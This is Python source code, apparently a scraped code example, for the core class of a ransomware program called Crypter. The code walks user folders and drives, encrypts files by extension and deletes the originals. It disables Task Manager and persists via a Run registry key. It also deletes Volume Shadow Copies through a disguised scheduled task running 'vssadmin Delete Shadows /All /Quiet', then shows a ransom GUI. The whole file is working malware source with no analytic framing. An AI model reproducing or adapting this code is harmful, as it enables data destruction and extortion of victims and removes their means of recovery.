示例#1
0
class Crypter(Base.Base):
  '''
  @summary: Crypter: Controls interaction between relevant objects
  @author: MLS
  '''
  

  def __init__(self):
    '''
    @summary: Constructor
    '''
    self.__config = self.__load_config()
    self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt")

    # Init Crypt Lib
    self.Crypt = Crypt.SymmetricCrypto()

    # FIRST RUN
    # Encrypt!
    if not os.path.isfile(self.encrypted_file_list):
      # Disable Task Manager
      if self.__config["disable_task_manager"]:
          self.task_manager = TaskManager()      
          try:
            self.task_manager.disable()
          except WindowsError:
            pass
          
      # Add to startup programs
      # TODO Test
      if self.__config["open_gui_on_login"]:
          self.__add_to_startup_programs()
      
      # Find files and initialise keys
      self.Crypt.init_keys()
      file_list = self.find_files()

      # Start encryption
      self.encrypt_files(file_list)

      # If no files were encrypted. cleanup and return
      if self.__no_files_were_encrypted():
          # TODO Test
          self.cleanup()
          return

      # Delete Shadow Copies
      if "delete_shadow_copies" in self.__config:
          self.__delete_shadow_files()

      # Open GUI
      self.start_gui()

    # ALREADY ENCRYPTED - Open GUI
    elif os.path.isfile(self.encrypted_file_list):
      self.start_gui()
      
      
  def __load_config(self):
      '''
      @summary: Loads the runtime cfg file
      @return: JSON runtime config
      '''
      cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE)
      
      with open(cfg_path, "r") as runtime_cfg_file:
          config = json.load(runtime_cfg_file)

      return config
  
  
  def __delete_shadow_files(self):
      '''
      @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk
      '''
      
      vs_deleter = ScheduledTask(
          name="updater47",
          command="vssadmin Delete Shadows /All /Quiet"
          )
      vs_deleter.run_now()
      vs_deleter.cleanup()
      
      
  def __no_files_were_encrypted(self):
      '''
      @summary: Checks if any files were encrypted
      @return: True if no files were encrypted, otherwise False
      @todo: Test
      '''
      
      if not os.path.isfile(self.encrypted_file_list):
          return True
      else:
          return False
      
      
  def __add_to_startup_programs(self):
      '''
      @summary: Adds Crypter to the list of Windows startup programs
      @todo: Code and test
      @todo: Restore try and except catch
      '''

      try:
          reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION)
          _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable)
          _winreg.CloseKey(reg)
      except WindowsError:
          pass
  
  
  def __remove_from_startup_programs(self):
      '''
      @summary: Removes Crypter from the list of startup programs
      @todo: Code and test
      '''

      try:
          reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE)
          _winreg.DeleteValue(reg, "Crypter")
          _winreg.CloseKey(reg)
      except WindowsError:
          pass

      
  def get_start_time(self):
    '''
    @summary: Get's Crypter's start time from the registry, or creates it if it
    doesn't exist
    @return: The time that the ransomware began it's encryption operation, in integer epoch form 
    '''
    
    # Try to open registry key
    try:
      reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      start_time = _winreg.QueryValueEx(reg, "")[0]
      _winreg.CloseKey(reg)
    # If failure, create the key
    except WindowsError:
      start_time = int(time.time())
      reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time))
      _winreg.CloseKey(reg)
        
    return start_time    


  def cleanup(self):
    '''
    @summary: Cleanups the system following successful decryption. Removed the list of
    encrypted files and deletes the Crypter registry key. Re-enable TM
    '''
      
    # If files were encrypted, Remove from startup programs (if present in list)
    if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]:
        self.__remove_from_startup_programs()
    
    self.delete_encrypted_file_list()
    self.delete_registry_entries()
    
    if self.__config["disable_task_manager"]:
        try:
            self.task_manager.enable()
        except WindowsError:
            pass



  def delete_registry_entries(self):
    '''
    @summary: Deletes the timer registry key
    '''
    
    # Open and delete the key
    try:
        reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
        _winreg.DeleteKeyEx(reg, "")
        _winreg.CloseKey(reg)
    except WindowsError:
        # Ignore any Windows errors
        pass
    
      
  def start_gui(self):
    '''
    @summary: Initialises and launches the ransomware GUI screen
    '''
    
    # Get Crypter start_time
    start_time = self.get_start_time()
    
    app = wx.App()
    # TODO Update this to new path and place in __init__
    #sys._MEIPASS = "******"
    crypter_gui = Gui.Gui(
        image_path=sys._MEIPASS, 
        start_time=start_time,
        decrypter=self,
        config=self.__config)
                               
    crypter_gui.Show()
    app.MainLoop()
    

  def get_encrypted_files_list(self):
    '''
    @summary: Returns a list of the files encrypted by crypter
    @return: Encrypted file list
    '''

    # Get list of encrypted files
    try:
      with open(self.encrypted_file_list) as fh:
        file_list = fh.readlines()
      fh.close()
    except IOError:
      # Don't error, just return message
      raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list)
  
    return file_list


  def decrypt_file(self, encrypted_file, decryption_key):
    '''
    @summary: Processes the list of encrypted files and decrypts each. Should be called once per file
    @param encrypted_file: an encrypted file to decrypt
    '''

    # Decrypt!
    if not encrypted_file:
      return

    # IF successful decryption, delete locked file
    locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, self.__config["encrypted_file_extension"])
    if locked_path:
      os.remove(locked_path)
      
      
  def delete_encrypted_file_list(self):
    '''
    @summary: Deletes the list of encrypted files
    '''

    # Remove encrypted file list
    if os.path.isfile(self.encrypted_file_list):
        os.remove(self.encrypted_file_list)


  def encrypt_files(self, file_list):
    '''
    @summary: Encrypts all files in the provided file list param
    @param file_list: A list of files to encrypt
    '''
    encrypted_files = []

    # Encrypt them and add to list if successful
    for file in file_list:

      # Encrypt file if less than specified file size
      try:
        if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES:
          is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"])
        else:
          is_encrypted = False

        # IF encrypted, try to delete the file and add to the list
        if is_encrypted:
          os.remove(file)
          encrypted_files.append(file)
      except:
        # Ignore any exception, such as access denied, and continue
        pass

    # Write out list of encrypted files
    if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]):
      fh = open(self.encrypted_file_list, "w")
      for encrypted_file in encrypted_files:
        fh.write(encrypted_file)
        fh.write("\n")
      fh.close()
      

  def find_files(self):
    '''
    @summary: Searches the file system and builds a list of files to encrypt
    @return: List of files matching the location and filetype criteria
    '''
    binary_name = os.path.split(sys.argv[0])[1]

    base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config)
    file_list = []

    for directory in base_dirs:
      for path,subdirs,files in os.walk(directory):
        for file in files:
          if os.path.isfile(os.path.join(path, file)):
            # Check file is valid
            if (
                (self.is_valid_filetype(file)) and
                (not self.is_excluded_file(file)) and
                (not self.is_excluded_dir(path)) and
                (file.lower() != binary_name.lower()) and
                (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
                ):
                    file_list.append(os.path.join(path, file))
        for file in subdirs:
          if os.path.isfile(os.path.join(path, file)):
            # Check file is valid
            if (
                (self.is_valid_filetype(file)) and
                (not self.is_excluded_file(file)) and
                (not self.is_excluded_dir(path)) and
                (file.lower() != binary_name.lower()) and
                (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
                ):
                    file_list.append(os.path.join(path, file))


    return file_list


  def is_excluded_dir(self, path):
      '''
      @summary: Checks whether the specified path should be excluded from encryption
      @param path: The path to check
      @return: True if the path should be excluded from encryption, otherwise False
      '''
      
      for dir_to_exclude in self.DIRS_TO_EXCLUDE:
          if "\\%s" % dir_to_exclude.lower() in path.lower():
              return True
          
      return False


  def is_excluded_file(self, file):
      '''
      @summary: Checks whether the specified file is marked as a file to be excluded from encryption
      @param file: The file to check
      @requires: True if the file should be excluded from encryption, otherwise false
      '''
      
      if file.lower() in self.FILES_TO_EXCLUDE:
          return True
      else:
          return False


  def is_valid_filetype(self, file):
    '''
    @summary: Verifies whether the specified file is of an acceptable type for encryption
    @param file: The file to check
    @attention: The list of filetypes to encrypt is defined in the Base.Base class
    '''

    # Split filename
    filename_components = file.split(".")

    # If no extension, return False
    if len(filename_components) <= 1:
      return False
    # Otherwise stringify extension
    else:
      full_extension = ".".join(filename_components[1:]).lower()

    # Check if extension is in the list of encryptable extensions
    for target_extension in self.__config["filetypes_to_encrypt"]:
        if len(target_extension) <= len(full_extension) and full_extension[-len(target_extension):] == target_extension.lower():
            return True
        
    return False
        
  
  def set_wallpaper(self):
    '''
    @summary: Sets the users wallpaper to a specific ransom not image
    @deprecated: This method, and approach, is no longer used. The ransom
    note is now displayed via a WX GUI
    @requires: To enable this method, add an import for ctypes
    '''

    # Import image and write to path
    # todo adjust file name... maybe replace this with whatever is provided in the config file?
    image_path = os.path.join(sys._MEIPASS, "ransom.png")

    SPI_SETDESKWALLPAPER = 20
    ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3)